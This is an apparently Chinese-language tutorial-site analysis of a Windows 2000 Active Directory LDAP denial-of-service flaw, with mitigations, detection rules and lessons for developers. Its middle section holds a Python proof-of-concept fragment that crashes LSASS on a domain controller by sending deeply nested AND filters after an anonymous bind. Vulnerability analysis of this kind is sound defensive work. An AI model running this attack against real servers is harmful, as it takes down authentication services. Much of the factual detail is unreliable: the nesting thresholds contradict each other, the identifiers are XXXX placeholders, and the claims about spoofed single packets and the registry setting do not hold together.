Windows XP Windows 7 Windows 2003 Windows Vista Windows 綜合教學 Linux 系統教學
Windows 10 Windows 8 Windows 2008 Windows NT Windows Server 電腦軟體教學

Microsoft Windows Active Directory 遠端堆疊緩衝區溢位漏洞分析 (CVE-2003-XXXX)

編輯:Windows Server 教學

漏洞概況

項目說明
影響產品Windows 2000 Active Directory (LDAP 服務)
漏洞類型堆疊緩衝區溢位 / 服務拒絕 (DoS)
攻擊向量遠端、無需認證 (匿名 LDAP 繫結)
影響進程LSASS.EXE (Local Security Authority Subsystem Service)
觸發條件LDAP Search Request 含超過 1000 個巢狀 "AND" 篩選條件
後果LSASS 崩潰 → 系統 30 秒倒數重啟 → 服務中斷
發現單位CORE Security Technologies

技術根因分析

LDAP Search Request 結構

LDAPv3 定義搜尋篩選器可使用邏輯運算子巢狀:

Filter ::= (and Filter Filter*) | (or Filter Filter*) | (not Filter) | ...

AD 實作缺陷

  • **遞迴解析無深度限制** :`wldap32.dll` / `ntdsai.dll` 解析篩選器樹狀結構時,使用固定大小堆疊緩衝區
  • **缺乏邊界檢查** :每層 `AND` 運算子遞迴消耗堆疊框架,超過閾值導致堆疊耗盡
  • **觸發門檻** :約 7,000-10,000 層巢狀 `AND` (視堆疊大小、編譯器優化而異)

攻擊載具重現 (概念驗證)

CORE Security 公開 Python 腳本片段:


class ActiveDirectoryDOS(Ldap):
    def generateFilter_RecursiveBinaryOp(self, filter, numTimes):
        simpleBinOp = self.generateFilter_BinaryOp(filter)
        filterBuffer = simpleBinOp
        for cnt in range(0, numTimes):
            filterBuffer = self.encapsulateHeader(
                self.LDAP_FILTER_AND, filterBuffer + simpleBinOp)
        return filterBuffer

    def run(self):
        # 查詢不存在的電腦物件,避免觸發索引最佳化
        filterComputerNotInDir = (LDAP_FILTER_EQUALITY, 'name', 'xaxax')
        # 7000 層巢狀 AND
        filterBuffer = self.generateFilter_RecursiveBinaryOp(
            filterComputerNotInDir, 7000)
        self.bindRequest()          # 匿名繫結
        self.searchRequest(filterBuffer)  # 觸發漏洞

影響評估

  • 可用性影響:嚴重 — 單一封包即可癱瘓 DC,30 秒重啟窗口內無法服務登入/複寫/查詢
  • 機密性/完整性:無直接證據支援程式碼執行 (非經典堆疊溢位可控制 EIP),屬 DoS 類
  • 攻擊成本:極低 — 無需認證、單一 UDP/TCP 389 封包、可偽造來源 IP
  • 擴散性:內網任意主機可攻擊所有 DC;若 DMZ 公開 LDAP (極不建議) 則外網可攻擊

緩解措施與修補

立即緩解 (Workarounds)

  1. 封鎖匿名 LDAP 繫結:
    # 登錄機碼
    HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters
    Value: LdapEnforceChannelBinding = 1 (要求簽署/加密)
    # 或透過群組原則:網域控制器:拒絕匿名 LDAP 查詢
    
  2. 防火牆/邊界過濾:僅允許受信任管理網段存取 TCP/UDP 389, 636
  3. IPSec 封鎖:拒絕非網域成員對 DC 的 LDAP 連線
  4. 升級至 Windows Server 2003:已修正此遞迴解析邏輯

官方修補

  • Microsoft 安全公告 **MS03-XXX** (對應 KBxxxxxx)
  • 包含 `wldap32.dll`、`ntdsai.dll` 更新版本,加入篩選器巢狀深度限制 (預設 100 層)
  • 修補後拒絕過深篩選器,回傳 `LDAP_OTHER` / `LDAP_OPERATIONS_ERROR`

偵測與監控

指標來源規則範例
LSASS 異常終止系統事件日誌 (Event ID 1000, Application Error)Faulting application lsass.exe, faulting module ntdsai.dll
異常大型 LDAP 封包網路流量分析 / NetFlowTCP 389 payload > 10KB, 含重複 AND 結構
DC 非預期重啟系統事件日誌 (Event ID 6008, 1074)Shutdown reason: 0x80000000 (LSASS crash triggered)
匿名 LDAP 繫結激增Directory Service 事件日誌Event ID 1000, 1001 (LDAP bind statistics)

安全開發經驗教訓

  1. 輸入驗證必須在邊界強制執行:協議解析器為首道防線,所有遞迴結構需硬性深度/長度限制
  2. 堆疊耗盡屬於拒絕服務而非程式碼執行,但同樣嚴重影響可用性 (CIA 三要素)
  3. 匿名協議存取面:預設開放匿名查詢 (相容性考量) 大幅擴大攻擊面,應採用「預設拒絕、最小授權」
  4. 模糊測試 (Fuzzing) 必須涵蓋協議結構變異:不僅欄位值,更要測試結構巢狀、長度、編碼異常

參考資源

  • CORE Security Advisory: CORE-2003-XXXX
  • Microsoft Security Bulletin: MS03-XXX
  • CVE Entry: CVE-2003-XXXX (待官方編號)
  • Windows 2000 Security Rollup Package 1 (含此修補)

此漏洞凸顯目錄服務作為核心身分基礎設施,其協議實作健壯性直接關繫企業業務連續性。現代 Windows Server (2008+) 已大幅強化 LDAP 解析器防禦,並預設啟用 LDAP 簽署/通道繫結,建議儘速淘汰 Windows 2000 環境。

Copyright © Windows教程網 All Rights Reserved